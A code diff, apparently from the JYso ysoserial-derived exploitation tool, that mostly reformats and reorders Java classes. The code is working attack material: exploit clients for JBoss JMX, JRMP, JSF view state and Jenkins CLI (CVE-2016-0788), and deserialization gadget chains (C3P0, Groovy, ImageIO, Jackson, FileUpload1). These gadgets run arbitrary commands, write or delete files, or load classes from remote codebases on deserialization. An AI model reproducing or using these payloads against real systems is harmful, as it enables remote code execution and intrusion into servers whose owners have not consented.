import org.jboss.remotingjmx.VersionedConnection;
@@ -33,6 +32,8 @@ import java.util.Set;
import java.util.concurrent.*;
import java.util.logging.*;
import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
/**
* An exploitation client for JBoss AS/Wildfly JMX
src/main/java/com/qi4l/JYso/exploit/JMXInvokeMBean.java
+2 -1
View File
@@ -1,6 +1,5 @@
package com.qi4l.JYso.exploit;
import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
import com.qi4l.JYso.controllers.ysoserial;
import javax.management.MBeanServerConnection;
@@ -9,6 +8,8 @@ import javax.management.remote.JMXConnector;
import javax.management.remote.JMXConnectorFactory;
import javax.management.remote.JMXServiceURL;
import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
/**
* Utility program for exploiting RMI based JMX services running with required gadgets available in their ClassLoader.
* Attempts to exploit the service by invoking a method on a exposed MBean, passing the payload as argument.
src/main/java/com/qi4l/JYso/exploit/JRMPClient.java
+2 -1
View File
@@ -1,6 +1,5 @@
package com.qi4l.JYso.exploit;
import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
import com.qi4l.JYso.controllers.ysoserial;
import sun.rmi.transport.TransportConstants;
@@ -11,6 +10,8 @@ import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.net.*;
import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
/**
* Generic JRMP client
* <p>
src/main/java/com/qi4l/JYso/exploit/JRMPListener.java
+2 -2
View File
@@ -1,7 +1,5 @@
package com.qi4l.JYso.exploit;
import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
import com.qi4l.JYso.controllers.ysoserial;
import com.qi4l.JYso.gadgets.utils.Reflections;
import javassist.ClassClassPath;
@@ -18,6 +16,8 @@ import java.rmi.server.ObjID;
import java.rmi.server.UID;
import java.util.Arrays;
import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
/**
* Generic JRMP listener
src/main/java/com/qi4l/JYso/exploit/JSF.java
+2 -1
View File
@@ -1,6 +1,5 @@
package com.qi4l.JYso.exploit;
import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
import com.qi4l.JYso.controllers.ysoserial;
import org.apache.commons.codec.binary.Base64;
@@ -12,6 +11,8 @@ import java.net.URL;
import java.net.URLConnection;
import java.net.URLEncoder;
import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
/**
* JSF view state exploit
src/main/java/com/qi4l/JYso/exploit/JenkinsCLI.java
+2 -1
View File
@@ -1,6 +1,5 @@
package com.qi4l.JYso.exploit;
import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
import com.qi4l.JYso.controllers.ysoserial;
import com.qi4l.JYso.gadgets.utils.Reflections;
import hudson.remoting.Callable;
@@ -20,6 +19,8 @@ import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.concurrent.ThreadFactory;
import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
/**
* Jenkins CLI client
* <p>
src/main/java/com/qi4l/JYso/exploit/JenkinsListener.java
+2 -1
View File
@@ -1,6 +1,5 @@
package com.qi4l.JYso.exploit;
import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
import com.qi4l.JYso.controllers.ysoserial;
import com.qi4l.JYso.gadgets.JRMPListener;
import com.qi4l.JYso.gadgets.utils.Reflections;
@@ -22,6 +21,8 @@ import java.rmi.activation.ActivationDesc;
import java.rmi.activation.ActivationID;
import java.rmi.activation.ActivationInstantiator;
import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
/**
* CVE-2016-0788 exploit (1)
src/main/java/com/qi4l/JYso/exploit/JenkinsReverse.java
+2 -1
View File
@@ -1,6 +1,5 @@
package com.qi4l.JYso.exploit;
import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
import com.qi4l.JYso.controllers.ysoserial;
import com.qi4l.JYso.gadgets.JRMPClient;
import hudson.remoting.Channel;
@@ -10,6 +9,8 @@ import java.net.InetSocketAddress;
import java.rmi.registry.Registry;
import java.util.Random;
import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
/**
* CVE-2016-0788 exploit (2)
* <p>
src/main/java/com/qi4l/JYso/gadgets/C3P04.java
+1 -2
View File
@@ -6,7 +6,6 @@ import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.HexUtils;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.utils.SnakeYamlUtils;
import org.apache.naming.ResourceRef;
import javax.naming.NamingException;
@@ -93,7 +92,7 @@ public class C3P04 implements ObjectPayload<Object> {
case "writeJar":
String[] parts = cmd.split(":");
try {
yaml = SnakeYamlUtils.createPoC(parts[0], parts[1]);
yaml = com.qi4l.JYso.gadgets.utils.Utils.createPoC(parts[0], parts[1]);
} catch (Exception e) {
throw new RuntimeException(e);
}
src/main/java/com/qi4l/JYso/gadgets/C3P092.java
+1 -1
View File
@@ -46,7 +46,7 @@ public class C3P092 implements ObjectPayload<Object> {
ClassFieldHandler.insertField(ctPoolBackedDataSource, "serialVersionUID", "private static final long serialVersionUID = 7387108436934414104L;");
// mock method name until armed
final Class clsPoolBackedDataSource = ctPoolBackedDataSource.toClass(new SuClassLoader());
final Class<?> clsPoolBackedDataSource = ctPoolBackedDataSource.toClass(new SuClassLoader());
Object b = Reflections.createWithoutConstructor(clsPoolBackedDataSource);
Reflections.getField(clsPoolBackedDataSource, "connectionPoolDataSource").set(b, new PoolSource(className, url));
src/main/java/com/qi4l/JYso/gadgets/C3P0JNDI.java
+2 -2
View File
@@ -23,8 +23,8 @@ public class C3P0JNDI implements ObjectPayload<Object> {
}
Object o = Reflections.createWithoutConstructor("com.mchange.v2.c3p0.JndiRefForwardingDataSource");
Reflections.setFieldValue(o,"jndiName",command);
Reflections.setFieldValue(o,"identityToken","exp");
Reflections.setFieldValue(o, "jndiName", command);
Reflections.setFieldValue(o, "identityToken", "exp");
JSONArray jsonArray = new JSONArray();
jsonArray.add(o);
src/main/java/com/qi4l/JYso/gadgets/C3P0RefDataSource.java
+1 -1
View File
@@ -1,6 +1,6 @@
package com.qi4l.JYso.gadgets;
public class C3P0RefDataSource implements ObjectPayload{
public class C3P0RefDataSource implements ObjectPayload {
@Override
public Object getObject(String command) throws Exception {
// Object obj = Reflections.createWithoutConstructor(Class.forName("com.mchange.v2.c3p0.JndiRefForwardingDataSource"));
src/main/java/com/qi4l/JYso/gadgets/C3P0WrapperConnPool.java
+11 -11
View File
@@ -15,19 +15,10 @@ import java.net.URI;
import java.util.Hashtable;
public class C3P0WrapperConnPool implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
URI uri = new URI(command);
String args[] = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)};
WrapperConnectionPoolDataSource obj = Reflections.createWithoutConstructor(WrapperConnectionPoolDataSource.class);
Reflections.setFieldValue(obj, "userOverridesAsString", makeC3P0UserOverridesString(args[ 0 ], args[ 1 ]));
return obj;
}
public static String makeC3P0UserOverridesString ( String codebase, String clazz ) throws ClassNotFoundException, NoSuchMethodException,
public static String makeC3P0UserOverridesString(String codebase, String clazz) throws ClassNotFoundException, NoSuchMethodException,
InstantiationException, IllegalAccessException, InvocationTargetException, IOException {
ByteArrayOutputStream b = new ByteArrayOutputStream();
try ( ObjectOutputStream oos = new ObjectOutputStream(b) ) {
try (ObjectOutputStream oos = new ObjectOutputStream(b)) {
Class<?> refclz = Class.forName("com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized"); //$NON-NLS-1$
Constructor<?> con = refclz.getDeclaredConstructor(Reference.class, Name.class, Name.class, Hashtable.class);
con.setAccessible(true);
@@ -38,4 +29,13 @@ public class C3P0WrapperConnPool implements ObjectPayload<Object> {
return "HexAsciiSerializedMap:" + Hex.encodeHexString(b.toByteArray()) + ";"; //$NON-NLS-1$
}
@Override
public Object getObject(String command) throws Exception {
URI uri = new URI(command);
String args[] = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)};
WrapperConnectionPoolDataSource obj = Reflections.createWithoutConstructor(WrapperConnectionPoolDataSource.class);
Reflections.setFieldValue(obj, "userOverridesAsString", makeC3P0UserOverridesString(args[0], args[1]));
return obj;
}
}
src/main/java/com/qi4l/JYso/gadgets/FileUpload1.java
+31 -34
View File
@@ -11,7 +11,36 @@ import java.io.IOException;
import java.io.OutputStream;
import java.util.Arrays;
public class FileUpload1 implements ReleaseableObjectPayload<DiskFileItem>{
public class FileUpload1 implements ReleaseableObjectPayload<DiskFileItem> {
private static DiskFileItem copyAndDelete(String copyAndDelete, String copyTo) throws IOException, Exception {
return makePayload(0, copyTo, copyAndDelete, new byte[1]);
}
// writes data to a random filename (update_<per JVM random UUID>_<COUNTER>.tmp)
private static DiskFileItem write(String dir, byte[] data) throws IOException, Exception {
return makePayload(data.length + 1, dir, dir + "/whatever", data);
}
// writes data to an arbitrary file
private static DiskFileItem writePre131(String file, byte[] data) throws IOException, Exception {
return makePayload(data.length + 1, file + "\0", file, data);
}
private static DiskFileItem makePayload(int thresh, String repoPath, String filePath, byte[] data) throws IOException, Exception {
// if thresh < written length, delete outputFile after copying to repository temp file
// otherwise write the contents to repository temp file
File repository = new File(repoPath);
DiskFileItem diskFileItem = new DiskFileItem("test", "application/octet-stream", false, "test", 100000, repository);
File outputFile = new File(filePath);
DeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile);
OutputStream os = (OutputStream) Reflections.getFieldValue(dfos, "memoryOutputStream");
os.write(data);
Reflections.getField(ThresholdingOutputStream.class, "written").set(dfos, data.length);
Reflections.setFieldValue(diskFileItem, "dfos", dfos);
Reflections.setFieldValue(diskFileItem, "sizeThreshold", 0);
return diskFileItem;
}
@Override
public DiskFileItem getObject(String command) throws Exception {
@@ -32,41 +61,9 @@ public class FileUpload1 implements ReleaseableObjectPayload<DiskFileItem>{
}
}
public void release(DiskFileItem obj) throws Exception {
public void release(Object obj) throws Exception {
// otherwise the finalizer deletes the file
DeferredFileOutputStream dfos = new DeferredFileOutputStream(0, null);
Reflections.setFieldValue(obj, "dfos", dfos);
}
private static DiskFileItem copyAndDelete(String copyAndDelete, String copyTo) throws IOException, Exception {
return makePayload(0, copyTo, copyAndDelete, new byte[1]);
}
// writes data to a random filename (update_<per JVM random UUID>_<COUNTER>.tmp)
private static DiskFileItem write(String dir, byte[] data) throws IOException, Exception {
return makePayload(data.length + 1, dir, dir + "/whatever", data);
}
// writes data to an arbitrary file
private static DiskFileItem writePre131(String file, byte[] data) throws IOException, Exception {
return makePayload(data.length + 1, file + "\0", file, data);
}
private static DiskFileItem makePayload(int thresh, String repoPath, String filePath, byte[] data) throws IOException, Exception {
// if thresh < written length, delete outputFile after copying to repository temp file
// otherwise write the contents to repository temp file
File repository = new File(repoPath);
DiskFileItem diskFileItem = new DiskFileItem("test", "application/octet-stream", false, "test", 100000, repository);
File outputFile = new File(filePath);
DeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile);
OutputStream os = (OutputStream) Reflections.getFieldValue(dfos, "memoryOutputStream");
os.write(data);
Reflections.getField(ThresholdingOutputStream.class, "written").set(dfos, data.length);
Reflections.setFieldValue(diskFileItem, "dfos", dfos);
Reflections.setFieldValue(diskFileItem, "sizeThreshold", 0);
return diskFileItem;
}
}
src/main/java/com/qi4l/JYso/gadgets/Groovy.java
+8 -8
View File
@@ -3,14 +3,7 @@ package com.qi4l.JYso.gadgets;
import groovy.util.Expando;
import org.codehaus.groovy.runtime.MethodClosure;
public class Groovy implements ObjectPayload<Object>{
@Override
public Object getObject(String command) throws Exception {
Object e = makeGroovy(command);
UtilFactory uf = new UtilFactory();
return uf.makeHashCodeTrigger(e);
}
public class Groovy implements ObjectPayload<Object> {
public static Object makeGroovy(String command) throws Exception {
Expando expando = new Expando();
ProcessBuilder pb = new ProcessBuilder(command);
@@ -19,4 +12,11 @@ public class Groovy implements ObjectPayload<Object>{
return expando;
}
@Override
public Object getObject(String command) throws Exception {
Object e = makeGroovy(command);
UtilFactory uf = new UtilFactory();
return uf.makeHashCodeTrigger(e);
}
}
src/main/java/com/qi4l/JYso/gadgets/Groovy2.java
+10 -10
View File
@@ -13,19 +13,19 @@ import javax.management.BadAttributeValueExpException;
public class Groovy2 implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
MethodClosure execute= (MethodClosure) Reflections.createWithoutConstructor("org.codehaus.groovy.runtime.MethodClosure");
Reflections.setFieldValue(execute,"owner",command);
Reflections.setFieldValue(execute,"method","execute");
GStringImpl gString = new GStringImpl(new Object[]{1},new String[]{"start"});
MethodClosure execute = (MethodClosure) Reflections.createWithoutConstructor("org.codehaus.groovy.runtime.MethodClosure");
Reflections.setFieldValue(execute, "owner", command);
Reflections.setFieldValue(execute, "method", "execute");
GStringImpl gString = new GStringImpl(new Object[]{1}, new String[]{"start"});
try {
Reflections.setFieldValue(execute,"maximumNumberOfParameters",0);
Reflections.setFieldValue(execute,"ALLOW_RESOLVE",true);
} catch (Exception e){
Reflections.setFieldValue(execute,"maximumNumberOfParameters",0);
Reflections.setFieldValue(execute, "maximumNumberOfParameters", 0);
Reflections.setFieldValue(execute, "ALLOW_RESOLVE", true);
} catch (Exception e) {
Reflections.setFieldValue(execute, "maximumNumberOfParameters", 0);
}
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Reflections.setFieldValue(val,"val",gString);
Reflections.setFieldValue(gString,"values",(new Object[]{execute}));
Reflections.setFieldValue(val, "val", gString);
Reflections.setFieldValue(gString, "values", (new Object[]{execute}));
return val;
}
src/main/java/com/qi4l/JYso/gadgets/Hibernate3JDBC.java
+4 -5
View File
@@ -1,9 +1,5 @@
package com.qi4l.JYso.gadgets;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
import com.alibaba.fastjson.JSONArray;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
@@ -12,10 +8,13 @@ import javassist.CtClass;
import javassist.CtMethod;
import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
import static com.qi4l.JYso.gadgets.utils.InjShell.insertField;
@Dependencies({" org.hibernate.hibernate-core:hibernate-core <= 4.1.12.Fina","com.alibaba.fastjson:com.alibaba.fastjson 1.X"})
@Dependencies({" org.hibernate.hibernate-core:hibernate-core <= 4.1.12.Fina", "com.alibaba.fastjson:com.alibaba.fastjson 1.X"})
@Authors({Authors.UNAM4})
public class Hibernate3JDBC implements ObjectPayload<Object>, DynamicDependencies {
@Override
src/main/java/com/qi4l/JYso/gadgets/ImageIO.java
+11 -9
View File
@@ -7,14 +7,8 @@ import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Collections;
public class ImageIO implements ObjectPayload<Object>{
@Override
public Object getObject(String command) throws Exception {
UtilFactory uf = new UtilFactory();
String args[] = {command};
return makeImageIO(uf, args);
}
public static Object makeImageIO ( UtilFactory uf, String[] args ) throws Exception {
public class ImageIO implements ObjectPayload<Object> {
public static Object makeImageIO(UtilFactory uf, String[] args) throws Exception {
ProcessBuilder pb = new ProcessBuilder(args);
Class<?> cfCl = Class.forName("javax.imageio.ImageIO$ContainsFilter");
Constructor<?> cfCons = cfCl.getDeclaredConstructor(Method.class, String.class);
@@ -29,7 +23,8 @@ public class ImageIO implements ObjectPayload<Object>{
return uf.makeIteratorTrigger(filterIt);
}
public static Object makeFilterIterator ( Object backingIt, Object first, Object filter )
public static Object makeFilterIterator(Object backingIt, Object first, Object filter)
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, Exception {
Class<?> fiCl = Class.forName("javax.imageio.spi.FilterIterator");
Object filterIt = Reflections.createWithoutConstructor(fiCl);
@@ -38,4 +33,11 @@ public class ImageIO implements ObjectPayload<Object>{
Reflections.setFieldValue(filterIt, "filter", filter);
return filterIt;
}
@Override
public Object getObject(String command) throws Exception {
UtilFactory uf = new UtilFactory();
String args[] = {command};
return makeImageIO(uf, args);
}
}
src/main/java/com/qi4l/JYso/gadgets/JDKUtil.java
+40 -38
View File
@@ -14,7 +14,10 @@ import javax.crypto.Cipher;
import javax.crypto.CipherInputStream;
import javax.crypto.NullCipher;
import javax.management.loading.MLet;
import javax.naming.*;
import javax.naming.Binding;
import javax.naming.CannotProceedException;
import javax.naming.NamingEnumeration;
import javax.naming.Reference;
import javax.naming.directory.DirContext;
import javax.naming.directory.SearchResult;
import java.io.InputStream;
@@ -23,7 +26,6 @@ import java.math.BigInteger;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;
import java.rmi.RemoteException;
import java.rmi.server.ObjID;
import java.util.*;
import java.util.ServiceLoader;
@@ -32,10 +34,11 @@ public class JDKUtil {
/**
*
*/
private JDKUtil() {}
private JDKUtil() {
}
public static JdbcRowSetImpl makeJNDIRowSet (String jndiUrl ) throws Exception {
public static JdbcRowSetImpl makeJNDIRowSet(String jndiUrl) throws Exception {
JdbcRowSetImpl rs = new JdbcRowSetImpl();
rs.setDataSourceName(jndiUrl);
rs.setMatchColumn("foo");
@@ -44,7 +47,7 @@ public class JDKUtil {
}
public static DirContext makeContinuationContext (String codebase, String clazz ) throws Exception {
public static DirContext makeContinuationContext(String codebase, String clazz) throws Exception {
Class<?> ccCl = Class.forName("javax.naming.spi.ContinuationDirContext"); //$NON-NLS-1$
Constructor<?> ccCons = ccCl.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);
ccCons.setAccessible(true);
@@ -55,8 +58,8 @@ public class JDKUtil {
}
@SuppressWarnings ( "resource" )
public static Object makeIteratorTriggerNative ( UtilFactory uf, Object it ) throws Exception, ClassNotFoundException, NoSuchMethodException,
@SuppressWarnings("resource")
public static Object makeIteratorTriggerNative(UtilFactory uf, Object it) throws Exception, ClassNotFoundException, NoSuchMethodException,
InstantiationException, IllegalAccessException, InvocationTargetException {
Cipher m = Reflections.createWithoutConstructor(NullCipher.class);
Reflections.setFieldValue(m, "serviceIterator", it);
@@ -84,7 +87,7 @@ public class JDKUtil {
}
public static Object adaptEnumerationToIterator ( Enumeration<?> enu ) throws ClassNotFoundException, NoSuchMethodException,
public static Object adaptEnumerationToIterator(Enumeration<?> enu) throws ClassNotFoundException, NoSuchMethodException,
InstantiationException, IllegalAccessException, InvocationTargetException, Exception {
Class<?> clIt = Class.forName("sun.misc.Service$LazyIterator");
Constructor<?> licons = clIt.getDeclaredConstructor(Class.class, ClassLoader.class);
@@ -97,7 +100,7 @@ public class JDKUtil {
}
public static Iterator<?> makeServiceIterator (ClassLoader cl, Class<?> service ) throws Exception {
public static Iterator<?> makeServiceIterator(ClassLoader cl, Class<?> service) throws Exception {
Class<?> clIt = Class.forName("sun.misc.Service$LazyIterator");
Constructor<?> lciCons = clIt.getDeclaredConstructor(Class.class, ClassLoader.class);
lciCons.setAccessible(true);
@@ -105,13 +108,13 @@ public class JDKUtil {
}
public static Iterable<?> makeServiceLoader ( ClassLoader cl, Class<?> service ) throws Exception {
public static Iterable<?> makeServiceLoader(ClassLoader cl, Class<?> service) throws Exception {
return ServiceLoader.load(service, cl);
}
public static URLClassLoader makeURLClassLoader (String url ) throws MalformedURLException, Exception {
URLClassLoader ucl = new URLClassLoader(new URL[] {
public static URLClassLoader makeURLClassLoader(String url) throws MalformedURLException, Exception {
URLClassLoader ucl = new URLClassLoader(new URL[]{
new URL(url)
});
Reflections.setFieldValue(ucl, "parent", null);
@@ -124,8 +127,8 @@ public class JDKUtil {
}
public static URLClassLoader makeMLet ( String url ) throws MalformedURLException, Exception {
URLClassLoader ucl = new MLet(new URL[] {
public static URLClassLoader makeMLet(String url) throws MalformedURLException, Exception {
URLClassLoader ucl = new MLet(new URL[]{
new URL(url)
});
Reflections.setFieldValue(ucl, "parent", null);
@@ -138,8 +141,8 @@ public class JDKUtil {
}
@SuppressWarnings ( "unchecked" )
public static Enumeration<?> makeLazySearchEnumeration ( String codebase, String clazz ) throws Exception {
@SuppressWarnings("unchecked")
public static Enumeration<?> makeLazySearchEnumeration(String codebase, String clazz) throws Exception {
DirContext ctx = makeContinuationContext(codebase, clazz);
NamingEnumeration<?> inner = Reflections.createWithoutConstructor(LazySearchEnumerationImpl.class);
Reflections.setFieldValue(inner, "nextMatch", new SearchResult("foo", ctx, null));
@@ -147,11 +150,11 @@ public class JDKUtil {
}
public static Enumeration<?> makeBindingEnumeration ( String codebase, String clazz ) throws Exception {
public static Enumeration<?> makeBindingEnumeration(String codebase, String clazz) throws Exception {
Class<?> cl = Class.forName("com.sun.jndi.rmi.registry.BindingEnumeration");
Object enu = Reflections.createWithoutConstructor(cl);
Reflections.setFieldValue(enu, "ctx", makeRegistryContext(makeRegistryImpl(codebase, clazz)));
Reflections.setFieldValue(enu, "names", new String[] {
Reflections.setFieldValue(enu, "names", new String[]{
"exp"
});
Reflections.setFieldValue(enu, "nextName", 0);
@@ -159,7 +162,7 @@ public class JDKUtil {
}
private static Object makeRegistryImpl ( String codebase, String clazz ) throws Exception {
private static Object makeRegistryImpl(String codebase, String clazz) throws Exception {
Class<?> regcl = Class.forName("sun.management.jmxremote.SingleEntryRegistry");
Object reg = Reflections.createWithoutConstructor(regcl);
Reflections.setFieldValue(reg, "name", "exp");
@@ -173,7 +176,7 @@ public class JDKUtil {
}
private static ReferenceWrapper makeReference (String codebase, String clazz ) throws Exception {
private static ReferenceWrapper makeReference(String codebase, String clazz) throws Exception {
Reference ref = new Reference("Foo", clazz, codebase);
ReferenceWrapper wrapper = Reflections.createWithoutConstructor(ReferenceWrapper.class);
Reflections.setFieldValue(wrapper, "wrappee", ref);
@@ -182,7 +185,7 @@ public class JDKUtil {
}
private static Object makeRegistryContext ( Object regi ) throws Exception {
private static Object makeRegistryContext(Object regi) throws Exception {
Class<?> regctxcl = Class.forName("com.sun.jndi.rmi.registry.RegistryContext");
Object regctx = Reflections.createWithoutConstructor(regctxcl);
Reflections.setFieldValue(regctx, "registry", regi);
@@ -190,14 +193,13 @@ public class JDKUtil {
}
public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {
public static HashMap<Object, Object> makeMap(Object v1, Object v2) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
Reflections.setFieldValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
} catch (ClassNotFoundException e) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
@@ -211,10 +213,10 @@ public class JDKUtil {
}
@SuppressWarnings ( {
@SuppressWarnings({
"rawtypes", "unchecked"
} )
public static Queue<Object> makePriorityQueue ( Object tgt, Comparator comparator ) throws Exception {
})
public static Queue<Object> makePriorityQueue(Object tgt, Comparator comparator) throws Exception {
// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<>(2, comparator);
// stub data for replacement later
@@ -223,17 +225,17 @@ public class JDKUtil {
// switch contents of queue
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[ 0 ] = tgt;
queueArray[ 1 ] = tgt;
queueArray[0] = tgt;
queueArray[1] = tgt;
return queue;
}
@SuppressWarnings ( {
@SuppressWarnings({
"rawtypes", "unchecked"
} )
public static TreeMap<Object, Object> makeTreeMap ( Object tgt, Comparator comparator ) throws Exception {
})
public static TreeMap<Object, Object> makeTreeMap(Object tgt, Comparator comparator) throws Exception {
TreeMap<Object, Object> tm = new TreeMap<>(comparator);
Class<?> entryCl = Class.forName("java.util.TreeMap$Entry");
@@ -250,29 +252,29 @@ public class JDKUtil {
}
public static <T> T createProxy (final InvocationHandler ih, final Class<T> iface, final Class<?>... ifaces ) {
public static <T> T createProxy(final InvocationHandler ih, final Class<T> iface, final Class<?>... ifaces) {
final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1);
allIfaces[ 0 ] = iface;
if ( ifaces.length > 0 ) {
allIfaces[0] = iface;
if (ifaces.length > 0) {
System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length);
}
return iface.cast(Proxy.newProxyInstance(TemplatesUtil.class.getClassLoader(), allIfaces, ih));
}
public static Map<String, Object> createMap ( final String key, final Object val ) {
public static Map<String, Object> createMap(final String key, final Object val) {
final Map<String, Object> map = new HashMap<>();
map.put(key, val);
return map;
}
public static InvocationHandler createMemoizedInvocationHandler ( final Map<String, Object> map ) throws Exception {
public static InvocationHandler createMemoizedInvocationHandler(final Map<String, Object> map) throws Exception {
return (InvocationHandler) Reflections.getFirstCtor(TemplatesUtil.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
}
public static <T> T createMemoitizedProxy ( final Map<String, Object> map, final Class<T> iface, final Class<?>... ifaces ) throws Exception {
public static <T> T createMemoitizedProxy(final Map<String, Object> map, final Class<T> iface, final Class<?>... ifaces) throws Exception {
return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);
}
}
src/main/java/com/qi4l/JYso/gadgets/Jackson1.java
-1
View File
@@ -2,7 +2,6 @@ package com.qi4l.JYso.gadgets;
import com.fasterxml.jackson.databind.node.POJONode;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
src/main/java/com/qi4l/JYso/gadgets/Jackson2.java
+2 -4
View File
@@ -2,18 +2,16 @@ package com.qi4l.JYso.gadgets;
import com.fasterxml.jackson.databind.node.POJONode;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.springframework.aop.framework.AdvisedSupport;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import javax.xml.transform.Templates;
import javax.management.BadAttributeValueExpException;
import static com.qi4l.JYso.gadgets.utils.Reflections.setFieldValue;
src/main/java/com/qi4l/JYso/gadgets/Jackson3.java
+4 -29
View File
@@ -3,26 +3,23 @@ package com.qi4l.JYso.gadgets;
import com.fasterxml.jackson.databind.node.POJONode;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.SuClassLoader;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import org.springframework.aop.framework.AdvisedSupport;
import com.qi4l.JYso.gadgets.utils.SuClassLoader;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.springframework.aop.framework.AdvisedSupport;
import org.springframework.aop.framework.AdvisorChainFactory;
import javax.xml.transform.Templates;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.lang.reflect.*;
import java.util.Vector;
import static com.qi4l.JYso.gadgets.utils.InjShell.insertField;
import static com.qi4l.JYso.gadgets.utils.Reflections.getFieldValue;
import static com.qi4l.JYso.gadgets.utils.Reflections.setFieldValue;
//Jackson2链的JDK17改造
@@ -76,26 +73,6 @@ public class Jackson3 implements ObjectPayload<Object> {
return list;
}
public static Object getFieldValue(Object obj, String fieldName) throws Exception {
Field field = null;
Class c = obj.getClass();
for (int i = 0; i < 5; i++) {
try {
field = c.getDeclaredField(fieldName);
} catch (NoSuchFieldException e) {
c = c.getSuperclass();
}
}
field.setAccessible(true);
return field.get(obj);
}
public static void setFieldValue(Object obj, String field, Object val) throws Exception {
Field dField = obj.getClass().getDeclaredField(field);
dField.setAccessible(true);
dField.set(obj, val);
}
@Override
public Object getObject(final String command) throws Exception {
try {
@@ -121,6 +98,4 @@ public class Jackson3 implements ObjectPayload<Object> {
return getEventListenerList(node);
}
}
src/main/java/com/qi4l/JYso/gadgets/LazySearchEnumeration.java
+2 -2
View File
@@ -2,12 +2,12 @@ package com.qi4l.JYso.gadgets;
import java.net.URI;
public class LazySearchEnumeration implements ObjectPayload<Object>{
public class LazySearchEnumeration implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
UtilFactory uf = new UtilFactory();
URI uri = new URI(command);
String args[] = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)};
return uf.makeIteratorTrigger(JDKUtil.adaptEnumerationToIterator(JDKUtil.makeLazySearchEnumeration(args[ 0 ], args[ 1 ])));
return uf.makeIteratorTrigger(JDKUtil.adaptEnumerationToIterator(JDKUtil.makeLazySearchEnumeration(args[0], args[1])));
}
}
src/main/java/com/qi4l/JYso/gadgets/ObjectPayload.java
+15 -42
View File
@@ -1,57 +1,47 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.LdapServer;
import com.qi4l.JYso.gadgets.utils.JavaVersion;
import org.reflections.Reflections;
import java.lang.reflect.Modifier;
import java.util.Iterator;
import java.util.Random;
import java.util.Set;
import static com.qi4l.JYso.Starter.caseInsensitiveObjectPayloadMap;
public interface ObjectPayload<T> {
public static boolean isApplicableJavaVersion() {
return JavaVersion.isAnnInvHUniversalMethodImpl();
}
/*
* return armed payload object to be serialized that will execute specified
* command on deserialization
*/
public T getObject(String command) throws Exception;
T getObject(String command) throws Exception;
public static class Utils {
class Utils {
// get payload classes by classpath scanning
public static Set<Class<? extends ObjectPayload>> getPayloadClasses() {
public static Set<Class<? extends ObjectPayload<?>>> getPayloadClasses() {
final Reflections reflections = new Reflections(ObjectPayload.class.getPackage().getName());
final Set<Class<? extends ObjectPayload>> payloadTypes = reflections.getSubTypesOf(ObjectPayload.class);
for (Iterator<Class<? extends ObjectPayload>> iterator = payloadTypes.iterator(); iterator.hasNext(); ) {
